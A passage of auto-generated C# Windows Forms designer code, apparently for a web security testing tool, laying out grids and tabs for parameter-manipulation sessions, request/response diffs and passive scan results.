this.IDClmn.ReadOnly = true; - this.IDClmn.Width = 50; - // - // OriginalCode - // - this.OriginalCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.OriginalCode.FillWeight = 35.96939F; - this.OriginalCode.HeaderText = "Original Code"; - this.OriginalCode.Name = "OriginalCode"; - this.OriginalCode.ReadOnly = true; - // - // OriginalLengthClmn - // - this.OriginalLengthClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.OriginalLengthClmn.FillWeight = 35.96939F; - this.OriginalLengthClmn.HeaderText = "Original Length"; - this.OriginalLengthClmn.Name = "OriginalLengthClmn"; - this.OriginalLengthClmn.ReadOnly = true; - // - // ResentIdClmn - // - this.ResentIdClmn.HeaderText = "Resent ID"; - this.ResentIdClmn.Name = "ResentIdClmn"; - this.ResentIdClmn.ReadOnly = true; - this.ResentIdClmn.Visible = false; - // - // ResentCodeClmn - // - this.ResentCodeClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ResentCodeClmn.FillWeight = 35.96939F; - this.ResentCodeClmn.HeaderText = "Resent Code"; - this.ResentCodeClmn.Name = "ResentCodeClmn"; - this.ResentCodeClmn.ReadOnly = true; - // - // ResentLengthClmn - // - this.ResentLengthClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ResentLengthClmn.FillWeight = 35.96939F; - this.ResentLengthClmn.HeaderText = "Resent Length"; - this.ResentLengthClmn.Name = "ResentLengthClmn"; - this.ResentLengthClmn.ReadOnly = true; - // - // TestIdClmn - // - this.TestIdClmn.HeaderText = "Test ID"; - this.TestIdClmn.Name = "TestIdClmn"; - this.TestIdClmn.ReadOnly = true; - this.TestIdClmn.Visible = false; - // - // TestCodeClmn - // - this.TestCodeClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.TestCodeClmn.FillWeight = 35.96939F; - this.TestCodeClmn.HeaderText = "Test Code"; - this.TestCodeClmn.Name = "TestCodeClmn"; - this.TestCodeClmn.ReadOnly = true; - // - // TestLengthClmn - // - this.TestLengthClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.TestLengthClmn.FillWeight = 35.96939F; - this.TestLengthClmn.HeaderText = "Test Length"; - this.TestLengthClmn.Name = "TestLengthClmn"; - this.TestLengthClmn.ReadOnly = true; - // - // OriginalVsResentClmn - // - this.OriginalVsResentClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.OriginalVsResentClmn.FillWeight = 35.96939F; - this.OriginalVsResentClmn.HeaderText = "Original vs Resent"; - this.OriginalVsResentClmn.Name = "OriginalVsResentClmn"; - this.OriginalVsResentClmn.ReadOnly = true; - // - // ResentVsTestClmn - // - this.ResentVsTestClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ResentVsTestClmn.FillWeight = 35.96939F; - this.ResentVsTestClmn.HeaderText = "Resent vs Test"; - this.ResentVsTestClmn.Name = "ResentVsTestClmn"; - this.ResentVsTestClmn.ReadOnly = true; - // - // OriginalVsTestClmn - // - this.OriginalVsTestClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.OriginalVsTestClmn.FillWeight = 35.96939F; - this.OriginalVsTestClmn.HeaderText = "Original vs Test"; - this.OriginalVsTestClmn.Name = "OriginalVsTestClmn"; - this.OriginalVsTestClmn.ReadOnly = true; - // - // ParameterManipulationLoadProgressBar - // - this.ParameterManipulationLoadProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ParameterManipulationLoadProgressBar.Location = new System.Drawing.Point(298, 40); - this.ParameterManipulationLoadProgressBar.MarqueeAnimationSpeed = 10; - this.ParameterManipulationLoadProgressBar.Name = "ParameterManipulationLoadProgressBar"; - this.ParameterManipulationLoadProgressBar.Size = new System.Drawing.Size(236, 23); - this.ParameterManipulationLoadProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; - this.ParameterManipulationLoadProgressBar.TabIndex = 32; - this.ParameterManipulationLoadProgressBar.Visible = false; - // - // ParameterManipulationResultsBottomTabs - // - this.ParameterManipulationResultsBottomTabs.Controls.Add(this.tabPage7); - this.ParameterManipulationResultsBottomTabs.Controls.Add(this.tabPage8); - this.ParameterManipulationResultsBottomTabs.Controls.Add(this.tabPage3); - this.ParameterManipulationResultsBottomTabs.Controls.Add(this.tabPage9); - this.ParameterManipulationResultsBottomTabs.Controls.Add(this.tabPage10); - this.ParameterManipulationResultsBottomTabs.Controls.Add(this.tabPage11); - this.ParameterManipulationResultsBottomTabs.Controls.Add(this.tabPage17); - this.ParameterManipulationResultsBottomTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ParameterManipulationResultsBottomTabs.Location = new System.Drawing.Point(0, 0); - this.ParameterManipulationResultsBottomTabs.Margin = new System.Windows.Forms.Padding(0); - this.ParameterManipulationResultsBottomTabs.Multiline = true; - this.ParameterManipulationResultsBottomTabs.Name = "ParameterManipulationResultsBottomTabs"; - this.ParameterManipulationResultsBottomTabs.Padding = new System.Drawing.Point(0, 0); - this.ParameterManipulationResultsBottomTabs.SelectedIndex = 0; - this.ParameterManipulationResultsBottomTabs.Size = new System.Drawing.Size(858, 247); - this.ParameterManipulationResultsBottomTabs.TabIndex = 2; - // - // tabPage7 - // - this.tabPage7.BackColor = System.Drawing.Color.White; - this.tabPage7.Controls.Add(this.LogDisplayTabs); - this.tabPage7.Location = new System.Drawing.Point(4, 22); - this.tabPage7.Margin = new System.Windows.Forms.Padding(0); - this.tabPage7.Name = "tabPage7"; - this.tabPage7.Size = new System.Drawing.Size(850, 221); - this.tabPage7.TabIndex = 0; - this.tabPage7.Text = " Original Session "; - // - // LogDisplayTabs - // - this.LogDisplayTabs.Controls.Add(this.tabPage12); - this.LogDisplayTabs.Controls.Add(this.tabPage29); - this.LogDisplayTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.LogDisplayTabs.Location = new System.Drawing.Point(0, 0); - this.LogDisplayTabs.Margin = new System.Windows.Forms.Padding(0); - this.LogDisplayTabs.Name = "LogDisplayTabs"; - this.LogDisplayTabs.Padding = new System.Drawing.Point(0, 0); - this.LogDisplayTabs.SelectedIndex = 0; - this.LogDisplayTabs.Size = new System.Drawing.Size(850, 221); - this.LogDisplayTabs.TabIndex = 3; - // - // tabPage12 - // - this.tabPage12.Controls.Add(this.OriginalRequestView); - this.tabPage12.Location = new System.Drawing.Point(4, 22); - this.tabPage12.Margin = new System.Windows.Forms.Padding(0); - this.tabPage12.Name = "tabPage12"; - this.tabPage12.Size = new System.Drawing.Size(842, 195); - this.tabPage12.TabIndex = 0; - this.tabPage12.Text = " Request "; - this.tabPage12.UseVisualStyleBackColor = true; - // - // OriginalRequestView - // - this.OriginalRequestView.BackColor = System.Drawing.Color.White; - this.OriginalRequestView.Dock = System.Windows.Forms.DockStyle.Fill; - this.OriginalRequestView.Location = new System.Drawing.Point(0, 0); - this.OriginalRequestView.Margin = new System.Windows.Forms.Padding(0); - this.OriginalRequestView.Name = "OriginalRequestView"; - this.OriginalRequestView.ReadOnly = true; - this.OriginalRequestView.Size = new System.Drawing.Size(842, 195); - this.OriginalRequestView.TabIndex = 0; - // - // tabPage29 - // - this.tabPage29.Controls.Add(this.OriginalResponseView); - this.tabPage29.Location = new System.Drawing.Point(4, 22); - this.tabPage29.Margin = new System.Windows.Forms.Padding(0); - this.tabPage29.Name = "tabPage29"; - this.tabPage29.Size = new System.Drawing.Size(842, 195); - this.tabPage29.TabIndex = 1; - this.tabPage29.Text = " Response "; - this.tabPage29.UseVisualStyleBackColor = true; - // - // OriginalResponseView - // - this.OriginalResponseView.BackColor = System.Drawing.Color.White; - this.OriginalResponseView.Dock = System.Windows.Forms.DockStyle.Fill; - this.OriginalResponseView.IncludeReflectionTab = true; - this.OriginalResponseView.Location = new System.Drawing.Point(0, 0); - this.OriginalResponseView.Margin = new System.Windows.Forms.Padding(0); - this.OriginalResponseView.Name = "OriginalResponseView"; - this.OriginalResponseView.ReadOnly = true; - this.OriginalResponseView.Size = new System.Drawing.Size(192, 74); - this.OriginalResponseView.TabIndex = 0; - // - // tabPage8 - // - this.tabPage8.BackColor = System.Drawing.Color.White; - this.tabPage8.Controls.Add(this.tabControl2); - this.tabPage8.Location = new System.Drawing.Point(4, 22); - this.tabPage8.Margin = new System.Windows.Forms.Padding(0); - this.tabPage8.Name = "tabPage8"; - this.tabPage8.Size = new System.Drawing.Size(850, 221); - this.tabPage8.TabIndex = 1; - this.tabPage8.Text = " Resent Session "; - // - // tabControl2 - // - this.tabControl2.Controls.Add(this.tabPage13); - this.tabControl2.Controls.Add(this.tabPage14); - this.tabControl2.Dock = System.Windows.Forms.DockStyle.Fill; - this.tabControl2.Location = new System.Drawing.Point(0, 0); - this.tabControl2.Margin = new System.Windows.Forms.Padding(0); - this.tabControl2.Name = "tabControl2"; - this.tabControl2.Padding = new System.Drawing.Point(0, 0); - this.tabControl2.SelectedIndex = 0; - this.tabControl2.Size = new System.Drawing.Size(850, 221); - this.tabControl2.TabIndex = 3; - // - // tabPage13 - // - this.tabPage13.Controls.Add(this.ResentRequestView); - this.tabPage13.Location = new System.Drawing.Point(4, 22); - this.tabPage13.Margin = new System.Windows.Forms.Padding(0); - this.tabPage13.Name = "tabPage13"; - this.tabPage13.Size = new System.Drawing.Size(842, 195); - this.tabPage13.TabIndex = 0; - this.tabPage13.Text = " Request "; - this.tabPage13.UseVisualStyleBackColor = true; - // - // ResentRequestView - // - this.ResentRequestView.BackColor = System.Drawing.Color.White; - this.ResentRequestView.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResentRequestView.Location = new System.Drawing.Point(0, 0); - this.ResentRequestView.Margin = new System.Windows.Forms.Padding(0); - this.ResentRequestView.Name = "ResentRequestView"; - this.ResentRequestView.ReadOnly = true; - this.ResentRequestView.Size = new System.Drawing.Size(842, 195); - this.ResentRequestView.TabIndex = 0; - // - // tabPage14 - // - this.tabPage14.Controls.Add(this.ResentResponseView); - this.tabPage14.Location = new System.Drawing.Point(4, 22); - this.tabPage14.Margin = new System.Windows.Forms.Padding(0); - this.tabPage14.Name = "tabPage14"; - this.tabPage14.Size = new System.Drawing.Size(842, 195); - this.tabPage14.TabIndex = 1; - this.tabPage14.Text = " Response "; - this.tabPage14.UseVisualStyleBackColor = true; - // - // ResentResponseView - // - this.ResentResponseView.BackColor = System.Drawing.Color.White; - this.ResentResponseView.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResentResponseView.IncludeReflectionTab = true; - this.ResentResponseView.Location = new System.Drawing.Point(0, 0); - this.ResentResponseView.Margin = new System.Windows.Forms.Padding(0); - this.ResentResponseView.Name = "ResentResponseView"; - this.ResentResponseView.ReadOnly = true; - this.ResentResponseView.Size = new System.Drawing.Size(192, 74); - this.ResentResponseView.TabIndex = 0; - // - // tabPage3 - // - this.tabPage3.Controls.Add(this.tabControl3); - this.tabPage3.Location = new System.Drawing.Point(4, 22); - this.tabPage3.Name = "tabPage3"; - this.tabPage3.Size = new System.Drawing.Size(850, 221); - this.tabPage3.TabIndex = 2; - this.tabPage3.Text = " Test Session "; - this.tabPage3.UseVisualStyleBackColor = true; - // - // tabControl3 - // - this.tabControl3.Controls.Add(this.tabPage15); - this.tabControl3.Controls.Add(this.tabPage16); - this.tabControl3.Dock = System.Windows.Forms.DockStyle.Fill; - this.tabControl3.Location = new System.Drawing.Point(0, 0); - this.tabControl3.Margin = new System.Windows.Forms.Padding(0); - this.tabControl3.Name = "tabControl3"; - this.tabControl3.Padding = new System.Drawing.Point(0, 0); - this.tabControl3.SelectedIndex = 0; - this.tabControl3.Size = new System.Drawing.Size(850, 221); - this.tabControl3.TabIndex = 3; - // - // tabPage15 - // - this.tabPage15.Controls.Add(this.TestRequestView); - this.tabPage15.Location = new System.Drawing.Point(4, 22); - this.tabPage15.Margin = new System.Windows.Forms.Padding(0); - this.tabPage15.Name = "tabPage15"; - this.tabPage15.Size = new System.Drawing.Size(842, 195); - this.tabPage15.TabIndex = 0; - this.tabPage15.Text = " Request "; - this.tabPage15.UseVisualStyleBackColor = true; - // - // TestRequestView - // - this.TestRequestView.BackColor = System.Drawing.Color.White; - this.TestRequestView.Dock = System.Windows.Forms.DockStyle.Fill; - this.TestRequestView.Location = new System.Drawing.Point(0, 0); - this.TestRequestView.Margin = new System.Windows.Forms.Padding(0); - this.TestRequestView.Name = "TestRequestView"; - this.TestRequestView.ReadOnly = true; - this.TestRequestView.Size = new System.Drawing.Size(842, 195); - this.TestRequestView.TabIndex = 0; - // - // tabPage16 - // - this.tabPage16.Controls.Add(this.TestResponseView); - this.tabPage16.Location = new System.Drawing.Point(4, 22); - this.tabPage16.Margin = new System.Windows.Forms.Padding(0); - this.tabPage16.Name = "tabPage16"; - this.tabPage16.Size = new System.Drawing.Size(842, 195); - this.tabPage16.TabIndex = 1; - this.tabPage16.Text = " Response "; - this.tabPage16.UseVisualStyleBackColor = true; - // - // TestResponseView - // - this.TestResponseView.BackColor = System.Drawing.Color.White; - this.TestResponseView.Dock = System.Windows.Forms.DockStyle.Fill; - this.TestResponseView.IncludeReflectionTab = true; - this.TestResponseView.Location = new System.Drawing.Point(0, 0); - this.TestResponseView.Margin = new System.Windows.Forms.Padding(0); - this.TestResponseView.Name = "TestResponseView"; - this.TestResponseView.ReadOnly = true; - this.TestResponseView.Size = new System.Drawing.Size(192, 74); - this.TestResponseView.TabIndex = 0; - // - // tabPage9 - // - this.tabPage9.Controls.Add(this.tabControl1); - this.tabPage9.Location = new System.Drawing.Point(4, 22); - this.tabPage9.Name = "tabPage9"; - this.tabPage9.Size = new System.Drawing.Size(850, 221); - this.tabPage9.TabIndex = 3; - this.tabPage9.Text = " Diff Original vs Resent "; - this.tabPage9.UseVisualStyleBackColor = true; - // - // tabControl1 - // - this.tabControl1.Controls.Add(this.tabPage1); - this.tabControl1.Controls.Add(this.tabPage2); - this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tabControl1.Location = new System.Drawing.Point(0, 0); - this.tabControl1.Margin = new System.Windows.Forms.Padding(0); - this.tabControl1.Name = "tabControl1"; - this.tabControl1.Padding = new System.Drawing.Point(0, 0); - this.tabControl1.SelectedIndex = 0; - this.tabControl1.Size = new System.Drawing.Size(850, 221); - this.tabControl1.TabIndex = 4; - // - // tabPage1 - // - this.tabPage1.Controls.Add(this.OriginalVsResentRequestDRV); - this.tabPage1.Location = new System.Drawing.Point(4, 22); - this.tabPage1.Margin = new System.Windows.Forms.Padding(0); - this.tabPage1.Name = "tabPage1"; - this.tabPage1.Size = new System.Drawing.Size(842, 195); - this.tabPage1.TabIndex = 0; - this.tabPage1.Text = " Request Diff "; - this.tabPage1.UseVisualStyleBackColor = true; - // - // OriginalVsResentRequestDRV - // - this.OriginalVsResentRequestDRV.Dock = System.Windows.Forms.DockStyle.Fill; - this.OriginalVsResentRequestDRV.Location = new System.Drawing.Point(0, 0); - this.OriginalVsResentRequestDRV.Margin = new System.Windows.Forms.Padding(0); - this.OriginalVsResentRequestDRV.Name = "OriginalVsResentRequestDRV"; - this.OriginalVsResentRequestDRV.Size = new System.Drawing.Size(842, 195); - this.OriginalVsResentRequestDRV.TabIndex = 0; - // - // tabPage2 - // - this.tabPage2.Controls.Add(this.OriginalVsResentResponseDRV); - this.tabPage2.Location = new System.Drawing.Point(4, 22); - this.tabPage2.Margin = new System.Windows.Forms.Padding(0); - this.tabPage2.Name = "tabPage2"; - this.tabPage2.Size = new System.Drawing.Size(842, 195); - this.tabPage2.TabIndex = 1; - this.tabPage2.Text = " Response Diff "; - this.tabPage2.UseVisualStyleBackColor = true; - // - // OriginalVsResentResponseDRV - // - this.OriginalVsResentResponseDRV.Dock = System.Windows.Forms.DockStyle.Fill; - this.OriginalVsResentResponseDRV.Location = new System.Drawing.Point(0, 0); - this.OriginalVsResentResponseDRV.Margin = new System.Windows.Forms.Padding(0); - this.OriginalVsResentResponseDRV.Name = "OriginalVsResentResponseDRV"; - this.OriginalVsResentResponseDRV.Size = new System.Drawing.Size(842, 195); - this.OriginalVsResentResponseDRV.TabIndex = 1; - // - // tabPage10 - // - this.tabPage10.Controls.Add(this.tabControl4); - this.tabPage10.Location = new System.Drawing.Point(4, 22); - this.tabPage10.Name = "tabPage10"; - this.tabPage10.Size = new System.Drawing.Size(850, 221); - this.tabPage10.TabIndex = 4; - this.tabPage10.Text = " Diff Resent vs Test "; - this.tabPage10.UseVisualStyleBackColor = true; - // - // tabControl4 - // - this.tabControl4.Controls.Add(this.tabPage4); - this.tabControl4.Controls.Add(this.tabPage18); - this.tabControl4.Dock = System.Windows.Forms.DockStyle.Fill; - this.tabControl4.Location = new System.Drawing.Point(0, 0); - this.tabControl4.Margin = new System.Windows.Forms.Padding(0); - this.tabControl4.Name = "tabControl4"; - this.tabControl4.Padding = new System.Drawing.Point(0, 0); - this.tabControl4.SelectedIndex = 0; - this.tabControl4.Size = new System.Drawing.Size(850, 221); - this.tabControl4.TabIndex = 5; - // - // tabPage4 - // - this.tabPage4.Controls.Add(this.ResentVsTestRequestDRV); - this.tabPage4.Location = new System.Drawing.Point(4, 22); - this.tabPage4.Margin = new System.Windows.Forms.Padding(0); - this.tabPage4.Name = "tabPage4"; - this.tabPage4.Size = new System.Drawing.Size(842, 195); - this.tabPage4.TabIndex = 0; - this.tabPage4.Text = " Request Diff "; - this.tabPage4.UseVisualStyleBackColor = true; - // - // ResentVsTestRequestDRV - // - this.ResentVsTestRequestDRV.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResentVsTestRequestDRV.Location = new System.Drawing.Point(0, 0); - this.ResentVsTestRequestDRV.Margin = new System.Windows.Forms.Padding(0); - this.ResentVsTestRequestDRV.Name = "ResentVsTestRequestDRV"; - this.ResentVsTestRequestDRV.Size = new System.Drawing.Size(842, 195); - this.ResentVsTestRequestDRV.TabIndex = 0; - // - // tabPage18 - // - this.tabPage18.Controls.Add(this.ResentVsTestResponseDRV); - this.tabPage18.Location = new System.Drawing.Point(4, 22); - this.tabPage18.Margin = new System.Windows.Forms.Padding(0); - this.tabPage18.Name = "tabPage18"; - this.tabPage18.Size = new System.Drawing.Size(842, 195); - this.tabPage18.TabIndex = 1; - this.tabPage18.Text = " Response Diff "; - this.tabPage18.UseVisualStyleBackColor = true; - // - // ResentVsTestResponseDRV - // - this.ResentVsTestResponseDRV.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResentVsTestResponseDRV.Location = new System.Drawing.Point(0, 0); - this.ResentVsTestResponseDRV.Margin = new System.Windows.Forms.Padding(0); - this.ResentVsTestResponseDRV.Name = "ResentVsTestResponseDRV"; - this.ResentVsTestResponseDRV.Size = new System.Drawing.Size(842, 195); - this.ResentVsTestResponseDRV.TabIndex = 1; - // - // tabPage11 - // - this.tabPage11.Controls.Add(this.tabControl5); - this.tabPage11.Location = new System.Drawing.Point(4, 22); - this.tabPage11.Name = "tabPage11"; - this.tabPage11.Size = new System.Drawing.Size(850, 221); - this.tabPage11.TabIndex = 5; - this.tabPage11.Text = " Diff Original vs Test "; - this.tabPage11.UseVisualStyleBackColor = true; - // - // tabControl5 - // - this.tabControl5.Controls.Add(this.tabPage19); - this.tabControl5.Controls.Add(this.tabPage22); - this.tabControl5.Dock = System.Windows.Forms.DockStyle.Fill; - this.tabControl5.Location = new System.Drawing.Point(0, 0); - this.tabControl5.Margin = new System.Windows.Forms.Padding(0); - this.tabControl5.Name = "tabControl5"; - this.tabControl5.Padding = new System.Drawing.Point(0, 0); - this.tabControl5.SelectedIndex = 0; - this.tabControl5.Size = new System.Drawing.Size(850, 221); - this.tabControl5.TabIndex = 5; - // - // tabPage19 - // - this.tabPage19.Controls.Add(this.OriginalVsTestRequestDRV); - this.tabPage19.Location = new System.Drawing.Point(4, 22); - this.tabPage19.Margin = new System.Windows.Forms.Padding(0); - this.tabPage19.Name = "tabPage19"; - this.tabPage19.Size = new System.Drawing.Size(842, 195); - this.tabPage19.TabIndex = 0; - this.tabPage19.Text = " Request Diff "; - this.tabPage19.UseVisualStyleBackColor = true; - // - // OriginalVsTestRequestDRV - // - this.OriginalVsTestRequestDRV.Dock = System.Windows.Forms.DockStyle.Fill; - this.OriginalVsTestRequestDRV.Location = new System.Drawing.Point(0, 0); - this.OriginalVsTestRequestDRV.Margin = new System.Windows.Forms.Padding(0); - this.OriginalVsTestRequestDRV.Name = "OriginalVsTestRequestDRV"; - this.OriginalVsTestRequestDRV.Size = new System.Drawing.Size(842, 195); - this.OriginalVsTestRequestDRV.TabIndex = 0; - // - // tabPage22 - // - this.tabPage22.Controls.Add(this.OriginalVsTestResponseDRV); - this.tabPage22.Location = new System.Drawing.Point(4, 22); - this.tabPage22.Margin = new System.Windows.Forms.Padding(0); - this.tabPage22.Name = "tabPage22"; - this.tabPage22.Size = new System.Drawing.Size(842, 195); - this.tabPage22.TabIndex = 1; - this.tabPage22.Text = " Response Diff "; - this.tabPage22.UseVisualStyleBackColor = true; - // - // OriginalVsTestResponseDRV - // - this.OriginalVsTestResponseDRV.Dock = System.Windows.Forms.DockStyle.Fill; - this.OriginalVsTestResponseDRV.Location = new System.Drawing.Point(0, 0); - this.OriginalVsTestResponseDRV.Margin = new System.Windows.Forms.Padding(0); - this.OriginalVsTestResponseDRV.Name = "OriginalVsTestResponseDRV"; - this.OriginalVsTestResponseDRV.Size = new System.Drawing.Size(842, 195); - this.OriginalVsTestResponseDRV.TabIndex = 1; - // - // tabPage17 - // - this.tabPage17.Controls.Add(this.textBox8); - this.tabPage17.Location = new System.Drawing.Point(4, 22); - this.tabPage17.Name = "tabPage17"; - this.tabPage17.Size = new System.Drawing.Size(850, 221); - this.tabPage17.TabIndex = 6; - this.tabPage17.Text = " Help "; - this.tabPage17.UseVisualStyleBackColor = true; - // - // textBox8 - // - this.textBox8.BackColor = System.Drawing.Color.White; - this.textBox8.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox8.Dock = System.Windows.Forms.DockStyle.Fill; - this.textBox8.Location = new System.Drawing.Point(0, 0); - this.textBox8.Multiline = true; - this.textBox8.Name = "textBox8"; - this.textBox8.ReadOnly = true; - this.textBox8.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.textBox8.Size = new System.Drawing.Size(850, 221); - this.textBox8.TabIndex = 28; - this.textBox8.TabStop = false; - this.textBox8.Text = resources.GetString("textBox8.Text"); - // - // PassiveChecksResultsTab - // - this.PassiveChecksResultsTab.BackColor = System.Drawing.Color.White; - this.PassiveChecksResultsTab.Controls.Add(this.PassivePluginsTestResultsBaseSplit); - this.PassiveChecksResultsTab.Location = new System.Drawing.Point(4, 22); - this.PassiveChecksResultsTab.Margin = new System.Windows.Forms.Padding(0); - this.PassiveChecksResultsTab.Name = "PassiveChecksResultsTab"; - this.PassiveChecksResultsTab.Size = new System.Drawing.Size(858, 444); - this.PassiveChecksResultsTab.TabIndex = 1; - this.PassiveChecksResultsTab.Text = " Passive Plug-ins Scan Results "; - // - // PassivePluginsTestResultsBaseSplit - // - this.PassivePluginsTestResultsBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.PassivePluginsTestResultsBaseSplit.Location = new System.Drawing.Point(0, 0); - this.PassivePluginsTestResultsBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.PassivePluginsTestResultsBaseSplit.Name = "PassivePluginsTestResultsBaseSplit"; - this.PassivePluginsTestResultsBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // PassivePluginsTestResultsBaseSplit.Panel1 - // - this.PassivePluginsTestResultsBaseSplit.Panel1.Controls.Add(this.PassivePluginsScanResultsGrid); - // - // PassivePluginsTestResultsBaseSplit.Panel2 - // - this.PassivePluginsTestResultsBaseSplit.Panel2.Controls.Add(this.PassivePluginScanResultsBottomTabs); - this.PassivePluginsTestResultsBaseSplit.Size = new System.Drawing.Size(858, 444); - this.PassivePluginsTestResultsBaseSplit.SplitterDistance = 195; - this.PassivePluginsTestResultsBaseSplit.SplitterWidth = 2; - this.PassivePluginsTestResultsBaseSplit.TabIndex = 1; - // - // PassivePluginsScanResultsGrid - // - this.PassivePluginsScanResultsGrid.AllowUserToAddRows = false; - this.PassivePluginsScanResultsGrid.AllowUserToDeleteRows = false; - this.PassivePluginsScanResultsGrid.AllowUserToOrderColumns = true; - this.PassivePluginsScanResultsGrid.AllowUserToResizeRows = false; - this.PassivePluginsScanResultsGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.PassivePluginsScanResultsGrid.BackgroundColor = System.Drawing.Color.White; - this.PassivePluginsScanResultsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.PassivePluginsScanResultsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; - this.PassivePluginsScanResultsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.PassivePluginsScanResultsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn1, - this.dataGridViewTextBoxColumn2, - this.dataGridViewTextBoxColumn5, - this.dataGridViewTextBoxColumn6, - this.dataGridViewTextBoxColumn7, - this.dataGridViewTextBoxColumn3, - this.dataGridViewTextBoxColumn4, - this.Column2}); - this.PassivePluginsScanResultsGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.PassivePluginsScanResultsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.PassivePluginsScanResultsGrid.GridColor = System.Drawing.Color.White; - this.PassivePluginsScanResultsGrid.Location = new System.Drawing.Point(0, 0); - this.PassivePluginsScanResultsGrid.Margin = new System.Windows.Forms.Padding(0); - this.PassivePluginsScanResultsGrid.MultiSelect = false; - this.PassivePluginsScanResultsGrid.Name = "PassivePluginsScanResultsGrid"; - this.PassivePluginsScanResultsGrid.ReadOnly = true; - this.PassivePluginsScanResultsGrid.RowHeadersVisible = false; - this.PassivePluginsScanResultsGrid.RowHeadersWidth = 10; - this.PassivePluginsScanResultsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.PassivePluginsScanResultsGrid.Size = new System.Drawing.Size(858, 195); - this.PassivePluginsScanResultsGrid.TabIndex = 4; - this.PassivePluginsScanResultsGrid.SelectionChanged += new System.EventHandler(this.PassivePluginsScanResultsGrid_SelectionChanged); - // - // dataGridViewTextBoxColumn1 - // - this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn1.HeaderText = "Log ID"; - this.dataGridViewTextBoxColumn1.MinimumWidth = 50; - this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; - this.dataGridViewTextBoxColumn1.ReadOnly = true; - this.dataGridViewTextBoxColumn1.Width = 50; - // - // dataGridViewTextBoxColumn2 - // - this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn2.FillWeight = 35.96939F; - this.dataGridViewTextBoxColumn2.HeaderText = "Vulnerabilities"; - this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; - this.dataGridViewTextBoxColumn2.ReadOnly = true; - this.dataGridViewTextBoxColumn2.Width = 80; - // - // dataGridViewTextBoxColumn5 - // - this.dataGridViewTextBoxColumn5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn5.FillWeight = 35.96939F; - this.dataGridViewTextBoxColumn5.HeaderText = "High"; - this.dataGridViewTextBoxColumn5.Name = "dataGridViewTextBoxColumn5"; - this.dataGridViewTextBoxColumn5.ReadOnly = true; - this.dataGridViewTextBoxColumn5.Width = 50; - // - // dataGridViewTextBoxColumn6 - // - this.dataGridViewTextBoxColumn6.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn6.FillWeight = 35.96939F; - this.dataGridViewTextBoxColumn6.HeaderText = "Medium"; - this.dataGridViewTextBoxColumn6.Name = "dataGridViewTextBoxColumn6"; - this.dataGridViewTextBoxColumn6.ReadOnly = true; - this.dataGridViewTextBoxColumn6.Width = 50; - // - // dataGridViewTextBoxColumn7 - // - this.dataGridViewTextBoxColumn7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn7.HeaderText = "Low"; - this.dataGridViewTextBoxColumn7.Name = "dataGridViewTextBoxColumn7"; - this.dataGridViewTextBoxColumn7.ReadOnly = true; - this.dataGridViewTextBoxColumn7.Width = 50; - // - // dataGridViewTextBoxColumn3 - // - this.dataGridViewTextBoxColumn3.AutoSizeMode = 